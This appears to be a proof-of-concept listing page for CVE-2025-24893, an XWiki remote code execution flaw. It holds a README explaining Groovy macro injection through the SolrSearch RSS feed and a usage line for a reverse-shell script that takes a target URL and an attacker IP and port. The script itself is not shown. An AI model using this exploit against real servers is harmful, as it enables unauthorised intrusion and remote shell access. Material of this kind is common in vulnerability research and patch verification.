CVE-2025-24893 PoC — XWiki Platform 安全漏洞

Source

Associated Vulnerability

Description

Reverse Shell Payload for CVE-2025-24893

Readme

# CVE-2025-24893 - XWiki Remote Code Execution Exploit

> **PoC for CVE-2025-24893 – XWiki `<groovy>` Macro Remote Code Execution**  
> Inspired by [Artemir's original PoC](https://github.com/Artemir7/CVE-2025-24893-EXP)

---

## Description

This is a Proof-of-Concept (PoC) exploit for **CVE-2025-24893**, a Remote Code Execution (RCE) vulnerability in vulnerable versions of **XWiki**.

The flaw lies in the improper sanitization of user input within the `SolrSearch` endpoint, which is vulnerable to unsandboxed `<groovy>` macro injection via an RSS feed query.

This script injects a Groovy payload using the `async` macro that results in **command execution on the server**, allowing an attacker to trigger a **reverse shell** back to their system.

---

## Usage

```bash
python3 CVE-2025-24893-reverse-shell.py -u <target_url> -i <attacker_ip> -p <attacker_port>

File Snapshot

 [4.0K]  /data/pocs/ac8ba750a04e34217a8461fbcc72aa539a1935be
├── [2.0K]  CVE-2025-24893-reverse-shell.py
└── [ 873]  README.md

0 directories, 2 files

Remarks